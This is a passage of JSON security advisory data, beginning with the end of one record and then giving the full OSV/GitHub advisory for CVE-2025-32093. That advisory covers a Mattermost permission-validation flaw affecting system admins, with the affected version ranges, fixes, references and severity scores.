      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.4.0"
            },
            {
              "fixed": "10.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.4.0"
            },
            {
              "fixed": "10.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250227102013-aa4623a93199"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-14T19:07:43Z",
    "nvd_published_at": "2025-04-14T07:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.1, 10.4.x \u003c= 10.4.3, 9.11.x \u003c= 9.11.9 fail to restrict certain operations on system admins to only other system admins, which allows delegated granular administration users with the \"Edit Other Users\" permission to perform unauthorized modifications to system administrators via improper permission validation.",
  "id": "GHSA-322v-vh2g-qvpv",
  "modified": "2025-04-23T15:08:38Z",
  "published": "2025-04-14T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32093"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/aa4623a9319943d9f54383b22b55e7d06a324e20"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3609"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Restrict Certain Operations on System Admins"
}